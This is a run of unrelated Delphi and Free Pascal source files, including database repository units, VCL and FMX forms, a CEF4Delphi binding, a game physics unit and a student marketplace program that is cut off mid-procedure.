unit uiRepositories; interface uses uiRepoSystem; Type TpTypeRepo = ( trADOSQLServer, trUniPostgreSQL ); IRepositories = interface function Repository : IRepoSystem; end; function Repositories: IRepositories; implementation uses uConfiguration, uDM_RepositorySQLServer, uDM_RepositoryPostgreSQL; var mRepositories : IRepositories = nil; function Repositories : IRepositories; begin If assigned(result) then exit; case TpTypeRepo( configuration.TypeDataBase ) of trADOSQLServer : begin if not Assigned(mRepositories) then begin uDM_RepositorySQLServer.initialize; mRepositories := DM_RepositorySQLServer; end; Result := mRepositories; end; trUniPostgreSQL: begin if not Assigned(mRepositories) then begin uDM_RepositoryPostgreSQL.initialize; mRepositories := DM_RepositoryPostgreSQL; end; Result := mRepositories; end; end; end; end.
unit cadastroProdutos; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Datasnap.Provider, Datasnap.DBClient, Data.DB, Data.Win.ADODB, Vcl.ComCtrls, System.ImageList, Vcl.ImgList, Vcl.ToolWin, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.DBCtrls, Vcl.Mask, Vcl.Grids, Vcl.DBGrids; type TForm1 = class(TForm) connection: TADOConnection; query: TADOQuery; DataSource: TDataSource; MClientData: TClientDataSet; provider: TDataSetProvider; MClientDatacodigo: TAutoIncField; MClientDataNome: TStringField; MClientDataDataCriacao: TDateField; MClientDataPrešo: TFloatField; MClientDataModelo: TStringField; MClientDataEspecificaš§es: TWideMemoField; MClientDataNacional: TBooleanField; ToolBar1: TToolBar; ImageList1: TImageList; btNovo: TToolButton; btExcluir: TToolButton; btSalvar: TToolButton; btCancelar: TToolButton; btAlterar: TToolButton; btAnt: TToolButton; btProx: TToolButton; PainelCadastro: TPanel; DBGrid1: TDBGrid; Label1: TLabel; DBEdit1: TDBEdit; Label2: TLabel; DBEdit2: TDBEdit; Label3: TLabel; DBEdit3: TDBEdit; Label4: TLabel; DBEdit4: TDBEdit; Label5: TLabel; DBEdit5: TDBEdit; Label6: TLabel; DBMemo1: TDBMemo; DBCheckBox1: TDBCheckBox; procedure MClientDataAfterPost(DataSet: TDataSet); procedure MClientDataAfterDelete(DataSet: TDataSet); procedure MClientDataAfterCancel(DataSet: TDataSet); procedure MClientDataAfterInsert(DataSet: TDataSet); procedure btNovoClick(Sender: TObject); procedure btSalvarClick(Sender: TObject); procedure btExcluirClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure btCancelarClick(Sender: TObject); procedure btAlterarClick(Sender: TObject); procedure btAntClick(Sender: TObject); procedure btProxClick(Sender: TObject); private { Private declarations } public { Public declarations } procedure StatusBarra(ds: TdataSet); end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.btAlterarClick(Sender: TObject); begin MClientData.Edit; StatusBarra(MClientData); end; procedure TForm1.btAntClick(Sender: TObject); begin MClientData.Prior; end; procedure TForm1.btCancelarClick(Sender: TObject); begin MClientData.Cancel; StatusBarra(MClientData); end; procedure TForm1.btExcluirClick(Sender: TObject); begin if Application.MessageBox(PChar('Deseja excluir o arquivo?'), 'ConfirmašŃo', MB_USEGLYPHCHARS + MB_DEFBUTTON2)= mrYes then begin MClientData.delete; StatusBarra(MClientData); end; end; procedure TForm1.btNovoClick(Sender: TObject); begin MClientData.Append; // adiciona no final StatusBarra(MClientData); DBEdit2.SetFocus; //dar foco para comešar a editar no nome end; procedure TForm1.btProxClick(Sender: TObject); begin MClientData.Next; end; procedure TForm1.btSalvarClick(Sender: TObject); begin MClientData.Post; Query.Close; MClientData.close; MClientData.Open; StatusBarra(MClientData); end; procedure TForm1.FormShow(Sender: TObject); begin Query.Open; MClientData.Open; statusBarra(MClientData); end; procedure TForm1.MClientDataAfterCancel(DataSet: TDataSet); begin MClientData.CancelUpdates; end; procedure TForm1.MClientDataAfterDelete(DataSet: TDataSet); begin MClientData.ApplyUpdates(-1); end; procedure TForm1.MClientDataAfterInsert(DataSet: TDataSet); begin MClientDataNacional.AsBoolean := true; end; procedure TForm1.MClientDataAfterPost(DataSet: TDataSet); begin MClientData.ApplyUpdates(-1); end; procedure TForm1.StatusBarra(ds: TdataSet); begin btNovo.Enabled := not(ds.State in [dsEdit,dsInsert]); btSalvar.Enabled := (ds.State in [dsEdit,dsInsert]); btExcluir.Enabled := not(ds.State in [dsEdit,dsInsert]) and not(ds.IsEmpty); btAlterar.Enabled := not(ds.State in [dsEdit,dsInsert]) and not(ds.IsEmpty); btCancelar.Enabled := (ds.State in [dsEdit,dsInsert]); btAnt.Enabled := not(ds.State in [dsEdit,dsInsert]) and not(ds.IsEmpty); btProx.Enabled := not(ds.State in [dsEdit,dsInsert]) and not(ds.IsEmpty); PainelCadastro.Enabled := (ds.State in [dsEdit,dsInsert]); end; end.
// ************************************************************************ // ***************************** CEF4Delphi ******************************* // ************************************************************************ // // CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based // browser in Delphi applications. // // The original license of DCEF3 still applies to CEF4Delphi. // // For more information about CEF4Delphi visit : // https://www.briskbard.com/index.php?lang=en&pageid=cef // // Copyright © 2017 Salvador Díaz Fau. All rights reserved. // // ************************************************************************ // ************ vvvv Original license and comments below vvvv ************* // ************************************************************************ (* * Delphi Chromium Embedded 3 * * Usage allowed under the restrictions of the Lesser GNU General Public License * or alternatively the restrictions of the Mozilla Public License 1.1 * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for * the specific language governing rights and limitations under the License. * * Unit owner : Henri Gourvest <hgourvest@gmail.com> * Web site : http://www.progdigy.com * Repository : http://code.google.com/p/delphichromiumembedded/ * Group : http://groups.google.com/group/delphichromiumembedded * * Embarcadero Technologies, Inc is not permitted to use or redistribute * this source code without explicit permission. * *) unit uCEFResponseFilter; {$IFNDEF CPUX64} {$ALIGN ON} {$MINENUMSIZE 4} {$ENDIF} {$I cef.inc} interface uses uCEFBaseRefCounted, uCEFInterfaces, uCEFTypes; type TCefResponseFilterOwn = class(TCefBaseRefCountedOwn, ICefResponseFilter) protected function InitFilter: Boolean; virtual; abstract; function Filter(dataIn: Pointer; dataInSize : NativeUInt; dataInRead: PNativeUInt; dataOut: Pointer; dataOutSize : NativeUInt; dataOutWritten: PNativeUInt): TCefResponseFilterStatus; virtual; abstract; public constructor Create; virtual; end; implementation uses uCEFMiscFunctions, uCEFLibFunctions; function cef_response_filter_init_filter(self: PCefResponseFilter): Integer; stdcall; begin with TCefResponseFilterOwn(CefGetObject(self)) do Result := Ord(InitFilter()); end; function cef_response_filter_filter(self: PCefResponseFilter; data_in: Pointer; data_in_size : NativeUInt; var data_in_read: NativeUInt; data_out: Pointer; data_out_size: NativeUInt; var data_out_written: NativeUInt): TCefResponseFilterStatus; stdcall; begin with TCefResponseFilterOwn(CefGetObject(self)) do Result := Filter(data_in, data_in_size, @data_in_read, data_out, data_out_size, @data_out_written); end; constructor TCefResponseFilterOwn.Create; begin CreateData(SizeOf(TCefResponseFilter)); with PCefResponseFilter(FData)^ do begin init_filter := cef_response_filter_init_filter; filter := cef_response_filter_filter; end; end; end.
unit Physics; interface uses Geometry, BattleField, Types, Lists; type PhysicsController = record field: pBField; rockets: RocketList; { The list of currently animated fields } animlist: IntVectorList; time: double; wind: Vector; end; pPhysicsController = ^PhysicsController; procedure new_pc(var p: PhysicsController; bf: pBField); procedure pc_step(var p: PhysicsController; delta: double); procedure pc_add_rocket(var p: PhysicsController; r: Rocket); function field_animated(var p: PhysicsController; v: IntVector) : boolean; implementation uses math, StaticConfig; procedure new_pc(var p: PhysicsController; bf: pBField); begin p.time := 0.0; p.wind := v(0, 0); p.field := bf; new_list(p.rockets); new_list(p.animlist); end; { Checks whether rocket is still in battle field } function pc_rocket_in_bfield(var p: PhysicsController; var r: Rocket) : boolean; var pos: IntVector; begin pos := iv(r.position); pc_rocket_in_bfield := (pos.x >= 0) and (pos.x < p.field^.width) and (pos.y < p.field^.height); end; function field_animated(var p: PhysicsController; v: IntVector) : boolean; begin { If hp and current_hp are not equal, the field has a state of "during animation". current_hp is always > or < than hp until the variables are equal and the animation stops. } field_animated := p.field^.arr[v.x, v.y].hp <> p.field^.arr[v.x, v.y].current_hp; end; { Perform rocket explosion } procedure explode(var p: PhysicsController; position: Vector; radius, force: double); var { start and end of explosion rectangle } s, e: IntVector; i, j: integer; d, delta_hp: double; begin s := iv(position - v(radius, radius)); e := iv(position + v(radius, radius)); for j := max(0, s.y) to min(e.y, p.field^.height - 1) do begin for i := max(0, s.x) to min(e.x, p.field^.width - 1) do begin d := max(0.1, dist(position, fc(i, j))); { if a field is within explosion range } if d <= radius then begin { if a field is not being animated } if not field_animated(p, iv(i, j)) then push_front(p.animlist, iv(i, j)); { Update animation properties } p.field^.arr[i, j].hp_speed := max(MIN_HP_SPEED, p.field^.arr[i, j].hp_speed + INITIAL_HP_SPEED / (d*d)); if force >= 0 then delta_hp := min(force, force / (d*d)) else delta_hp := max(force, force / (d*d)); p.field^.arr[i, j].hp := max(0, p.field^.arr[i, j].hp - delta_hp); end end; end; end; procedure rocket_step(var p: PhysicsController; var r: Rocket; delta: double); begin r.oldpos := r.position; if not r.drilling then r.velocity := r.velocity + ((r.acceleration + p.wind) * delta); r.position := r.position + (r.velocity * delta); if r.drilling then r.current_drill_len := r.current_drill_len + len(r.position - r.oldpos); end; procedure rockets_step(var p: PhysicsController; delta: double); var cur, t: pRocketNode; collision: IntVector; begin cur := p.rockets.head; while cur <> nil do begin rocket_step(p, cur^.v, delta); t := cur; cur := cur^.next; { If the rocket was scheduled for removal in the previous iteration... } if t^.v.removed then begin remove(p.rockets, t); continue; end; { Find the first collision on a segment-approximated partial path from oldpos to position } collision := first_collision(p.field^, r(t^.v.oldpos, t^.v.position)); if collision <> NOWHERE then begin if abs(t^.v.drill_len) < 0.1 then begin t^.v.position := fc(collision); explode(p, t^.v.position, t^.v.exp_radius, t^.v.exp_force); t^.v.removed := true; { Schedule the rocket to be removed in the next step } continue; end; if t^.v.drilling and (t^.v.current_drill_len >= t^.v.drill_len) then begin t^.v.position := fc(collision); explode(p, t^.v.position, t^.v.exp_radius, t^.v.exp_force); t^.v.removed := true; { Schedule the rocket to be removed in the next step } end else if not t^.v.drilling then begin t^.v.drilling := True; t^.v.velocity := t^.v.velocity * 0.2; end; end else if not pc_rocket_in_bfield(p, t^.v) then t^.v.removed := true { Schedule the rocket to be removed in the next step } else if t^.v.drilling then begin explode(p, t^.v.position, t^.v.exp_radius, t^.v.exp_force); t^.v.removed := true; end; end; end; { Perform one step of fields animation } procedure fields_step(var p: PhysicsController; delta: double); var cur, t: pIntVectorNode; field: pBFieldElement; begin cur := p.animlist.head; while cur <> nil do begin { save current field to work on } field := @(p.field^.arr[cur^.v.x, cur^.v.y]); t := cur; cur := cur^.next; { Remove from animlist if animation stopped } if field^.hp = field^.current_hp then remove(p.animlist, t) else begin { Animate field } field^.previous_hp := field^.current_hp; if field^.current_hp < field^.hp then field^.current_hp := min(field^.hp, field^.current_hp + field^.hp_speed * delta) else field^.current_hp := max(field^.hp, field^.current_hp - field^.hp_speed * delta); end; end; end; procedure pc_step(var p: PhysicsController; delta: double); begin { Animate rockets } rockets_step(p, delta); { Animate fields } fields_step(p, delta); { Update time } p.time := p.time + delta; end; procedure pc_add_rocket(var p: PhysicsController; r: Rocket); begin push_front(p.rockets, r); end; begin end.
unit Folder; {$mode objfpc}{$H+} interface uses Classes, SysUtils, PreFile; type TFolder = class(TPreFile) private code: integer; order: integer; parentCodFolder: integer; folderType: char; path: string; parentName: string; parentPath: string; public separatorFile: char; constructor Create(prefile: TPreFile); destructor Destroy; override; function getCode(): integer; procedure setCode(ncode: integer); function getOrder(): integer; procedure setOrder(norder: integer); function getParentCodFolder(): integer; procedure setParentCodFolder(nparentCodFolder: integer); function getFolderType(): char; procedure setFolderType(sfolderType: char); function getPath(): String; procedure setPath(spath: String); function getParentName(): String; procedure setParentName(sparentName: String); function getParentPath(): String; procedure setParentPath(sparentPath: String); procedure limparDados; function ToString: ansistring; override; function ToInsert(naba: integer): string; function ToCVS: string; function ToJSON: string; end; implementation constructor TFolder.Create(prefile: TPreFile); begin inherited Create; self.setName(preFile.getName()); self.setSize(preFile.getSize()); self.setModified(preFile.getModified()); self.setAttributes(preFile.getAttributes()); self.setFormatedSize(preFile.getFormatedSize()); self.setFormatedModified(preFile.getFormatedModified()); self.setOriginalPath(prefile.getOriginalPath()); self.directory:=prefile.directory; end; destructor TFolder.Destroy; begin inherited Destroy; end; function TFolder.getCode(): integer; begin result:=self.code; end; procedure TFolder.setCode(ncode: integer); begin self.code:=ncode; end; function TFolder.getOrder(): integer; begin result:=self.order; end; procedure TFolder.setOrder(norder: integer); begin self.order:=norder; end; function TFolder.getParentCodFolder(): integer; begin result:=self.parentCodFolder; end; procedure TFolder.setParentCodFolder(nparentCodFolder: integer); begin self.parentCodFolder:=nparentCodFolder; end; function TFolder.getFolderType(): char; begin result:=self.folderType; end; procedure TFolder.setFolderType(sfolderType: char); begin self.folderType:=sfolderType; end; function TFolder.getPath(): String; begin result:=self.path; end; procedure TFolder.setPath(spath: String); begin self.path:=spath; end; function TFolder.getParentName(): String; begin result:=self.parentName; end; procedure TFolder.setParentName(sparentName: String); begin self.parentName:=sparentName; end; function TFolder.getParentPath(): String; begin result:=self.parentPath; end; procedure TFolder.setParentPath(sparentPath: String); begin self.parentPath:=sparentPath; end; procedure TFolder.limparDados; begin self.limparDados(); self.code := 0; self.order := 0; self.parentCodFolder := 0; self.folderType := 'A'; self.path := ''; self.parentName := ''; self.parentPath := ''; end; function TFolder.ToString: ansistring; begin inherited ToString; result:='Folder [codigo=' + IntToStr(code) + ', ordem=' + IntToStr(order) + ', codDirPai=' + IntToStr(parentCodFolder) + ', tipo=' + folderType + ', caminho=' + path + ', nomePai=' + parentName + ', caminhoPai=' + parentPath + ']'; end; function TFolder.ToInsert(naba: integer): string; begin result:='INSERT INTO Diretorios(aba, cod, ordem, nome, '+ 'tam, tipo, modificado, atributos, coddirpai, caminho) VALUES(' + IntToStr(naba) + ',' + IntToStr(code) + ',' + IntToStr(order) + ',' + QuotedStr(getName()) + ',' + IntToStr(getSize()) + ',' + QuotedStr(folderType) + ',' + QuotedStr(getFormatedModified()) + ',' + QuotedStr(getAttributes()) + ',' + IntToStr(parentCodFolder) + ',' + QuotedStr(getPath()) + ');'; end; function TFolder.ToCVS: string; begin result:=IntToStr(code) + ';' + IntToStr(order) + ';' + getName() + ';' + IntToStr(getSize()) + ';' + folderType + ';' + getFormatedModified() + ';' + getAttributes() + ';' + IntToStr(parentCodFolder) + ';' + getPath(); end; function TFolder.ToJSON: string; begin result:= '{'+ LineEnding + '"name" : "' + self.getName() + '",' + LineEnding + ' "size" : ' + IntToStr(getSize()) + ',' + LineEnding + ' "modified" : ' + DateTimeToStr(self.getModified()) + ',' + LineEnding + ' "attributes" : "' + self.getAttributes() + '",' + LineEnding + ' "formatedSize" : "' + self.getFormatedSize() + '",' + LineEnding + ' "formatedModified" : "' + self.getFormatedModified() + '",' + LineEnding + ' "code" : ' + IntToStr(code) + ',' + LineEnding + ' "order" : ' + IntToStr(order) + ',' + LineEnding + ' "parentCodFolder" : ' + IntToStr(parentCodFolder) + ',' + LineEnding + ' "folderType" : "' + self.folderType + '",' + LineEnding + ' "path" : "' + self.path + '",' + LineEnding + ' "parentName" : "' + self.parentName + '",' + LineEnding + ' "parentPath" : "' + self.parentPath + '",' + LineEnding + ' "originalPath" : "' + self.getOriginalPath() + '"\n}'; end; end.
{ @abstract Implements @link(TNtTmsChecker) checker extension class that checks some comples TMS controls. To enable checking just add this unit into your project or add unit into any uses block. @longCode(# implementation uses NtTmsChecker; #) See @italic(Samples\Delphi\VCL\TMS\Checker) sample to see how to use the unit. } unit NtTmsChecker; interface uses Controls, NtChecker; type { @abstract Checker extension class that checks some complex TMS controls. } TNtTmsChecker = class(TNtCheckerExtension) public { @seealso(TNtCheckerExtension.Show) } function Show(checker: TFormChecker; control: TControl; var restoreControl: TControl): Boolean; override; { @seealso(TNtCheckerExtension.Restore) } function Restore(control, restoreControl: TControl): Boolean; override; { @seealso(TNtCheckerExtension.Ignore) } function Ignore(control: TControl; issueTypes: TFormIssueTypes): Boolean; override; end; implementation uses AdvNavBar, AdvPageControl; function TNtTmsChecker.Show(checker: TFormChecker; control: TControl; var restoreControl: TControl): Boolean; var tabSheet: TAdvTabSheet; navBarPanel: TAdvNavBarPanel; begin tabSheet := checker.GetParent(control, TAdvTabSheet) as TAdvTabSheet; if tabSheet <> nil then begin restoreControl := tabSheet.AdvPageControl.ActivePage; tabSheet.AdvPageControl.ActivePage := tabSheet; tabSheet.AdvPageControl.Update; Result := True; Exit; end; navBarPanel := checker.GetParent(control, TAdvNavBarPanel) as TAdvNavBarPanel; if navBarPanel <> nil then begin restoreControl := navBarPanel.AdvNavBar.ActivePanel; navBarPanel.AdvNavBar.ActivePanel := navBarPanel; navBarPanel.AdvNavBar.Update; Result := True; Exit; end; Result := False; end; function TNtTmsChecker.Restore(control, restoreControl: TControl): Boolean; var tabSheet: TAdvTabSheet; navBarPanel: TAdvNavBarPanel; begin if restoreControl is TAdvTabSheet then begin tabSheet := TAdvTabSheet(restoreControl); tabSheet.AdvPageControl.ActivePage := tabSheet; tabSheet.AdvPageControl.Update; Result := True; end else if restoreControl is TAdvNavBarPanel then begin navBarPanel := TAdvNavBarPanel(restoreControl); navBarPanel.AdvNavBar.ActivePanel := navBarPanel; navBarPanel.AdvNavBar.Update; Result := True; end else Result := False; end; function TNtTmsChecker.Ignore(control: TControl; issueTypes: TFormIssueTypes): Boolean; begin Result := (control is TAdvTabSheet) and (itOverlap in issueTypes) or (control is TAdvNavBarPanel) and (itOverlap in issueTypes); end; initialization NtCheckerExtensions.Register(TNtTmsChecker); end.
unit uVisualizarDados; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, System.JSON, System.Generics.Collections, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Layouts, FMX.Objects, FMX.Controls.Presentation, FMX.ScrollBox, FMX.Memo, FMX.StdCtrls, FMX.Menus, FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.MySQL, FireDAC.Phys.MySQLDef, FireDAC.Dapt, FireDAC.FMXUI.Wait, Data.DB, FireDAC.Comp.Client; type TLayoutHelper = class helper for TLayout procedure GridJson(JSON :String); procedure GridSQL(SQL :String); end; implementation { TLayoutHelper } procedure TLayoutHelper.GridJson(JSON: String); var JSONValue,JSONValue2 : TJSONValue; JSONArray,JSONArray2 : TJSONArray; JSONObject,JSONObject2 : TJSONObject; Loop1, Loop2 , Loop3, Loop4 : Integer; begin try JSONValue := TJSONObject.ParseJSONValue(JSON); {garantir que seja um JSONArray} if (JSONValue is TJSONObject) then begin FreeAndNil(JSONValue); JSONValue := TJSONObject.ParseJSONValue('['+JSON+']'); end; if (JSONValue is TJSONArray) then begin try JSONArray := TJsonObject.ParseJSONValue(JSONValue.ToJSON) as TJSONArray; //Criar um VertScrollBox for Loop1 := 0 to JSONArray.Count - 1 do begin try //Criar um TLayout para cada objeto do Array //Criar um TRectangle para cada objeto do Array JSONObject := TJSONObject.ParseJSONValue(JsonArray.Items[Loop1].ToJSON) as TJSONObject; for Loop2 := 0 to JSONObject.count-1 do begin try JSONValue2 := TJSONObject.ParseJSONValue(jsonObject.Pairs[Loop2].JsonValue.ToJSON); if (JSONValue2 is TJSONArray) then begin try JSONArray2 := TJSONObject.ParseJSONValue(JSONValue2.ToJSON) as TJSONArray; ; //Incrementar Altura do TLayout for Loop3 := 0 to JSONArray2.Count - 1 do begin //Criar um TRectangle para cada objeto do Array try JSONObject2 := TJSONObject.ParseJSONValue(JsonArray2.Items[Loop3].ToJSON) as TJSONObject; for Loop4 := 0 to JSONObject2.count-1 do begin //Criar os campos no Detalhes end; finally JSONObject2.Free; end; end; finally JSONArray2.Free; end; end else begin // criar os campos no cabeçalho end; finally JSONValue2.Free; end; end; finally jsonObject.Free; end; end; finally JSONArray.Free; end; end; finally JSONValue.Free; end; end; procedure TLayoutHelper.GridSQL(SQL: String); begin end; end.
{ * MercadoLibre de Bugs * * Grupo 5 * * Gabriela Azcona - Sofia Morseletto - Mariano Stinson - Leandro Desuque - Leandro Devesa * } program MercadoLibreBugs; USES crt,Validaciones; CONST Amarillo = 14; Blanco = 15; Rojo = 4; Verde=2; MaxLengthUsuario = 8; MaxLengthPass = 8; MaxVMovimientosSaldos = 10; DataFolder = 'Data/'; TYPE tFecha = string[8]; tPyR = record pgta : string; rta : string; end; tVPyR = array of tPyR; {** Usuarios **} tUsuario = record Usuario : string[8]; Pass : string[8]; NomYApe : string[40]; Telefono : string[10]; Mail : string[30]; Calificacion : integer; CantVentas : word; CantCompras : word; EsAdmin : boolean; Fecha : tFecha; {//Fecha de que?} end; tArcUsu = file of tUsuario; {** Publicaciones **} t_Autos = Record id : integer; usuario : string[8]; producto : string[40]; marca : string[20]; esNuevo : boolean; antiguedad : tFecha; precio : real; esDestacada : boolean; estaDisponible : boolean; fechaPublic : tFecha; duracionPublic : byte; descr : string; {PyR : tvPyR;} Combustible : string[6]; CantPuertas : byte; AnoFabricacion : string[4]; End; t_ArchAutos = file Of t_Autos; t_Notebook = Record id : integer; usuario : string[8]; producto : string[40]; marca : string[20]; esNuevo : boolean; antiguedad : tFecha; precio : real; esDestacada : boolean; estaDisponible : boolean; fechaPublic : tFecha; duracionPublic : byte; descr : string; {PyR : tvPyR;} Ram: string[5]; HD: string[5]; Pantalla: string[4]; End; t_ArchNote = file of t_Notebook; {** Ventas/Compras **} tVentas = record id : integer; UsuarioVendedor : string[8]; UsuarioComprador : string[8]; Producto : string[8]; CalifVendedor : byte; CalifComprador : byte; FechaVenta : tFecha; end; tArcVentas = file of tVentas; {** Indices **} tIndice = record Pos : longint; CampoClave : string; End; tIndiceUsu = array[1..500] of tIndice; {ver el tamaño fisico del vector, seria la cantidad total de usuarios} {** Movimientos y saldos **} tMovimiento = record plata : real; fecha : tFecha; End; tvMovimientos = array [1..MaxVMovimientosSaldos] of tMovimiento; tSaldos = record Usuario : string[8]; Saldo : real; movimientos : tvMovimientos;{//Movimiento - despues vemos que hacemos con esto} End; tArcSaldos = file of tSaldos; tPublic = record id:integer; usuario:string[8]; producto:string[8]; marca:string[20]; precio:real; End; var FechaSistema : tFecha; {Funcion MercadoLibre de Bugs | Comprobar si el usuario se encuentra registrado} FUNCTION UsuarioExiste(var ArchivoDeUsuarios: tArcUsu; var UnUsuario: tUsuario; NuevoUsuario: String):Boolean; VAR Encontrado: Boolean; BEGIN Reset(ArchivoDeUsuarios); Encontrado:=False; While (Not EOF(ArchivoDeUsuarios) and Not(Encontrado)) do BEGIN Read(ArchivoDeUsuarios, UnUsuario); If (UnUsuario.Usuario=NuevoUsuario) then Encontrado:=True Else Encontrado:=False END; UsuarioExiste:=Encontrado; END; {Funcion MercadoLibre de Bugs | Busca el usuario} FUNCTION PosicionUsuarioIndice(usuario:string;TotalUsu:longint;var Indice:tIndiceUsu) : longint; VAR limInferior : longint; limSuperior : longint; posCentral : longint; ExisteUsuario : boolean; BEGIN limInferior := 1; ExisteUsuario := false; limSuperior := TotalUsu; while (not(ExisteUsuario)) and (limInferior<=limSuperior) do begin posCentral:=round((limInferior+limSuperior)div 2); if ((usuario) = Indice[posCentral].CampoClave) then ExisteUsuario := true else if (usuario>Indice[posCentral].CampoClave) then limInferior:=posCentral+1 else limSuperior:=posCentral-1; end; If (ExisteUsuario) Then PosicionUsuarioIndice := PosCentral Else PosicionUsuarioIndice := -1; END; {Funcion MercadoLibre de Bugs | Compara claves} FUNCTION EsClaveCorrecta(var Indice:tIndiceUsu;contrasena:string;auxPos : longint): boolean ; VAR arch : tArcUsu; RegUsuario : tUsuario; BEGIN Assign(arch, DataFolder + 'ArchUsuarios.dat'); reset(arch); seek(arch,indice[auxpos].pos); read(arch,RegUsuario); if (contrasena = RegUsuario.pass) then EsClaveCorrecta := true else EsClaveCorrecta := false; close(arch); END; {Procedimiento MercadoLibre de Bugs | Ordena indice de usuarios} Procedure OrdenarIndiceUsu(var Indice:tIndiceUsu; TotalUsu:longint); VAR Ordenado : boolean; i,j : longint; aux : tIndice; Begin i := 1; Ordenado := false; While (i <= TotalUsu - 1) and (not(ordenado)) do Begin Ordenado := true; j:=1; while (j <= TotalUsu - i) do begin if (Indice[j].CampoClave > Indice[j+1].CampoClave) then begin aux.Pos := Indice[j].Pos; aux.CampoClave := Indice[j].CampoClave; Indice[j].Pos := Indice[j+1].Pos; Indice[j].CampoClave := Indice[j+1].CampoClave; Indice[j+1].Pos := aux.Pos; Indice[j+1].CampoClave := aux.CampoClave; ordenado := false; end; Inc(j); end; Inc(i); end; End; {Procedimiento MercadoLibre de Bugs | Crea indice de usuarios} Procedure CrearIndiceUsu(var IndiceUsu:tIndiceUsu;var TotalUsu:longint); {Declaro el archivo como variable para que no pese tanto} VAR i : longint; auxUsu : tUsuario; ArchUsu : tArcUsu; BEGIN i := 1; Assign(ArchUsu, DataFolder + 'ArchUsuarios.dat'); Reset(ArchUsu); While (Not EOF(ArchUsu)) Do Begin Read(ArchUsu,auxUsu); IndiceUsu[i].Pos := FilePos(ArchUsu) - 1; IndiceUsu[i].CampoClave := auxUsu.usuario; Inc(i); End; TotalUsu := i - 1; Close(ArchUsu); OrdenarIndiceUsu(IndiceUsu,TotalUsu); END; {Procedimiento MercadoLibre de Bugs | MENSAJE PRINCIPAL} PROCEDURE MensajePrincipal(FechaSistema : tFecha;auxUsu : string); VAR i : byte; auxFecha : string[10]; BEGIN IF (length(auxUsu) <> 0) THEN BEGIN auxUsu := 'Bienvenido, ' + auxUsu; FOR i := 1 TO (8 - (length(auxUsu) - 12)) DO BEGIN auxUsu := ' ' + auxUsu ; END; END ELSE auxUsu := ' '; IF (FechaSistema = '') Then auxFecha := ' ' ELSE auxFecha := Copy(FechaSistema,1,4) + '/' + Copy(FechaSistema,5,2) + '/' + Copy(FechaSistema,7,2); TextColor(Blanco); writeln('*******************************************************************************'); writeln('* ',auxFecha,' ',auxUsu,' *'); writeln('* MercadoLibre de Bugs *'); writeln('* (Grupo 5) *'); writeln('* *'); writeln('*******************************************************************************'); Writeln(''); END; {Procedimiento MercadoLibre de Bugs | INGRESO FECHA} PROCEDURE IngresoFecha(var FechaSistema : tFecha); CONST {El programa esta seteado en un rango de 1000 años... confiamos en que la tecnologia no avance.} MinAnio = 2000; MaxAnio = 3000; VAR auxAno : Integer; auxMes, AuxDia : Byte; auxStr : String[4]; EsDiaIncorrecto : Boolean; BEGIN AuxAno := 0; auxMes := 0; AuxDia := 0; MsjTitulo('Ingreso fecha'); While (IOResult <> 0) or (AuxAno < MinAnio) or (AuxAno > MaxAnio) Do {Cargar año} BEGIN Write('Por favor ingrese el a',#164,'o (AAAA): '); {#164 = "ñ"} {$I-} Readln(AuxAno); {$I+} If (IOResult <> 0) or (AuxAno < MinAnio) or (AuxAno > MaxAnio) Then BEGIN MsjError('El ano ingresado es incorrecto. Por favor, verifique.'); END Else BEGIN Str(AuxAno,AuxStr); END; END; FechaSistema:=AuxStr; While (IOResult<>0) or (AuxMes<1) or (AuxMes>12) Do {Cargar mes} BEGIN Write('Por favor ingrese el mes (MM): '); {$I-} Readln(AuxMes); {$I+} If (IOResult<>0) or (AuxMes<1) or (AuxMes>12) then BEGIN MsjError('El mes ingresado es incorrecto. Por favor, verifique.'); END Else BEGIN Str(AuxMes,AuxStr); If(Length(auxStr) = 1) then AuxStr := '0' + AuxStr; END; END; FechaSistema := FechaSistema + auxStr; EsDiaIncorrecto := True; While (EsDiaIncorrecto) Do {Cargar dia} BEGIN Write('Por favor ingrese el dia (DD): '); {$I-} Readln(AuxDia); {$I+} If (IOResult = 0) Then BEGIN If (EsDiaValido(AuxDia,AuxMes,AuxAno)) Then BEGIN EsDiaIncorrecto := False; Str(AuxDia,AuxStr); If(Length(AuxStr) = 1) then AuxStr := '0' + AuxStr; END Else BEGIN MsjError('El dia ingresado no existe en ese mes. Por favor, verifique.'); END; END Else BEGIN MsjError('El dia ingresado es incorrecto. Por favor, verifique.'); END; END; FechaSistema := FechaSistema + AuxStr; ClrScr; END; {Funcion MercadoLibre de Bugs | DEVUELVE EL SALDO DE UN USUARIO} FUNCTION SaldoUsuario(Usuario : tUsuario;Pos : longint) : real; VAR Saldo : tSaldos; ArchSaldos : tArcSaldos; auxSaldo : real; BEGIN Assign(ArchSaldos, DataFolder + 'ArchSaldos.dat'); {$I-} Reset(ArchSaldos); {$I+} Seek(ArchSaldos,Pos); Read(ArchSaldos,Saldo); auxSaldo := Saldo.Saldo; Close(ArchSaldos); SaldoUsuario := auxSaldo; END; {Procedimiento MercadoLibre de Bugs | MODIFICAR SALDO DE USUARIO} PROCEDURE ModSaldo(Acredita : boolean; CantPlata : real;Pos : longint); VAR Saldo : tSaldos; ArchSaldos : tArcSaldos; i : byte; BEGIN Assign(ArchSaldos, DataFolder + 'ArchSaldos.dat'); Reset(ArchSaldos); Seek(ArchSaldos,Pos); Read(ArchSaldos,Saldo); For i := 1 to (MaxVMovimientosSaldos - 1) Do Begin Saldo.Movimientos[i].plata := Saldo.Movimientos[i + 1].plata; Saldo.Movimientos[i].fecha := Saldo.Movimientos[i + 1].fecha; End; If (Acredita) Then Begin Saldo.Saldo := Saldo.Saldo + CantPlata; Saldo.Movimientos[MaxVMovimientosSaldos].plata := CantPlata; End Else Begin Saldo.Saldo := Saldo.Saldo - 